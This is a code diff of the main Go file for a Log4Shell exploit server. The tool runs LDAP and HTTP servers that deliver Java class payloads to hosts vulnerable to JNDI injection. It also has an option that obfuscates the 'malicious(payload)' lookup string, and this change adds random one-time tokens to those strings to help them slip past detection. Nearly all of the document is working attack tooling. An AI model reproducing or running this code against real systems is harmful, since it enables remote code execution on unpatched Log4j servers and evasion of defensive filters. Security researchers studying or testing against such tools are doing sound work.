@@ -5,34 +5,37 @@ import (
55 "flag"
66 "fmt"
77 "log"
8+ "math/rand"
89 "os"
910 "os/signal"
1011
1112 "github.com/For-ACGN/Log4Shell"
1213)
1314
1415var (
15- cfg log4shell.Config
16- crt string
17- key string
18- obf string
16+ config log4shell.Config
17+ certFile string
18+ keyFile string
19+ rawStr string
20+ noToken bool
1921)
2022
2123func init () {
2224 banner ()
2325
2426 flag .CommandLine .SetOutput (os .Stdout )
25- flag .StringVar (& cfg .Hostname , "host" , "127.0.0.1" , "server IP address or domain name" )
26- flag .StringVar (& cfg .PayloadDir , "payload" , "payload" , "payload(java class) directory" )
27- flag .StringVar (& cfg .HTTPNetwork , "http-net" , "tcp" , "http server network" )
28- flag .StringVar (& cfg .HTTPAddress , "http-addr" , ":8080" , "http server address" )
29- flag .StringVar (& cfg .LDAPNetwork , "ldap-net" , "tcp" , "ldap server network" )
30- flag .StringVar (& cfg .LDAPAddress , "ldap-addr" , ":3890" , "ldap server address" )
31- flag .BoolVar (& cfg .AutoCert , "auto-cert" , false , "use ACME client to sign certificate" )
32- flag .BoolVar (& cfg .EnableTLS , "tls-server" , false , "enable ldaps and https server" )
33- flag .StringVar (& crt , "tls-cert" , "cert.pem" , "tls certificate file path" )
34- flag .StringVar (& key , "tls-key" , "key.pem" , "tls private key file path" )
35- flag .StringVar (& obf , "obf" , "" , "obfuscate malicious(payload) string" )
27+ flag .StringVar (& config .Hostname , "host" , "127.0.0.1" , "server IP address or domain name" )
28+ flag .StringVar (& config .PayloadDir , "payload" , "payload" , "payload(java class) directory" )
29+ flag .StringVar (& config .HTTPNetwork , "http-net" , "tcp" , "http server network" )
30+ flag .StringVar (& config .HTTPAddress , "http-addr" , ":8080" , "http server address" )
31+ flag .StringVar (& config .LDAPNetwork , "ldap-net" , "tcp" , "ldap server network" )
32+ flag .StringVar (& config .LDAPAddress , "ldap-addr" , ":3890" , "ldap server address" )
33+ flag .BoolVar (& config .AutoCert , "auto-cert" , false , "use ACME client to sign certificate automatically" )
34+ flag .BoolVar (& config .EnableTLS , "tls-server" , false , "enable ldaps and https server" )
35+ flag .StringVar (& certFile , "tls-cert" , "cert.pem" , "tls certificate file path" )
36+ flag .StringVar (& keyFile , "tls-key" , "key.pem" , "tls private key file path" )
37+ flag .StringVar (& rawStr , "obf" , "" , "obfuscate malicious(payload) string" )
38+ flag .BoolVar (& noToken , "no-token" , false , "not add random token when use obfuscate" )
3639 flag .Parse ()
3740}
3841
@@ -52,21 +55,33 @@ func banner() {
5255
5356func main () {
5457 // output obfuscated string
55- if obf != "" {
56- fmt .Printf ("raw: %s\n \n %s\n " , obf , log4shell .Obfuscate (obf ))
58+ if rawStr != "" {
59+ if noToken {
60+ fmt .Printf ("raw: %s\n \n %s\n " , rawStr , log4shell .Obfuscate (rawStr ))
61+ return
62+ }
63+
64+ front := rawStr [:len (rawStr )- 1 ]
65+ token := generateToken ()
66+ last := string (rawStr [len (rawStr )- 1 ])
67+ rawStr = fmt .Sprintf ("%s_%s%s" , front , token , last )
68+ fmt .Printf ("raw: %s\n \n %s\n \n " , rawStr , log4shell .Obfuscate (rawStr ))
69+
70+ const notice = "[info] each string can only be used once, or wait %d seconds.\n "
71+ fmt .Printf (notice , log4shell .TokenExpireTime )
5772 return
5873 }
5974
6075 // load tls certificate
61- if cfg .EnableTLS {
62- cert , err := tls .LoadX509KeyPair (crt , key )
76+ if config .EnableTLS {
77+ cert , err := tls .LoadX509KeyPair (certFile , keyFile )
6378 checkError (err )
64- cfg .TLSCert = cert
79+ config .TLSCert = cert
6580 }
66- cfg .Logger = os .Stdout
81+ config .Logger = os .Stdout
6782
6883 // start log4shell server
69- server , err := log4shell .New (& cfg )
84+ server , err := log4shell .New (& config )
7085 checkError (err )
7186 err = server .Start ()
7287 checkError (err )
@@ -80,6 +95,25 @@ func main() {
8095 checkError (err )
8196}
8297
98+ func generateToken () string {
99+ const n = 16
100+
101+ str := make ([]rune , n )
102+ for i := 0 ; i < n ; i ++ {
103+ s := ' ' + 1 + rand .Intn (90 ) // #nosec
104+ switch {
105+ case s >= '0' && s <= '9' :
106+ case s >= 'A' && s <= 'Z' :
107+ case s >= 'a' && s <= 'z' :
108+ default :
109+ i --
110+ continue
111+ }
112+ str [i ] = rune (s )
113+ }
114+ return string (str )
115+ }
116+
83117func checkError (err error ) {
84118 if err != nil {
85119 log .Fatalln ("[error]" , err )
0 commit comments